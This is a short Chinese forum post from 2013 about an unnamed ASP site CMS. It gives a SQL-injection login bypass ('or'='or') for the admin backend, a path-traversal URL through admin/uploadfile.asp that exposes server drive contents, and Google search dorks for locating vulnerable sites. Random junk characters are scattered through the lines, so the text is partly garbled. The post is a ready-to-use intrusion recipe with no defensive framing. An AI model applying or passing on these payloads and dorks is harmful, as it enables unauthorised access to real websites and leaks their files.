后台万能密码 'or'='or'
& w( V* _0 p1 s. A+ w6 E1 L! a
% @/ J3 q. p# z+ g7 d+ g* R$ f后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
" c5 ]/ l3 C3 ?. b% {0 K7 tadmin/uploadfile.asp?currentFolder=/upfiles/../
* E: K" \' r* e0 `- C! @& r8 g; [' X$ j" l3 M" ]% ~6 D
漏洞证明：) n- m5 h/ ]- r5 h k; s
4 d1 `7 m$ H0 ~谷歌：inurl:type.asp?id=1 新闻中心) c) J. _* `. C1 B1 m
或者 ：inurl:download_ok.asp?( W) s. K) b) m! W
! u5 {+ p4 l9 u; O0 _+ e |
发表于 2013-3-14 20:17:32
收藏
支持
反对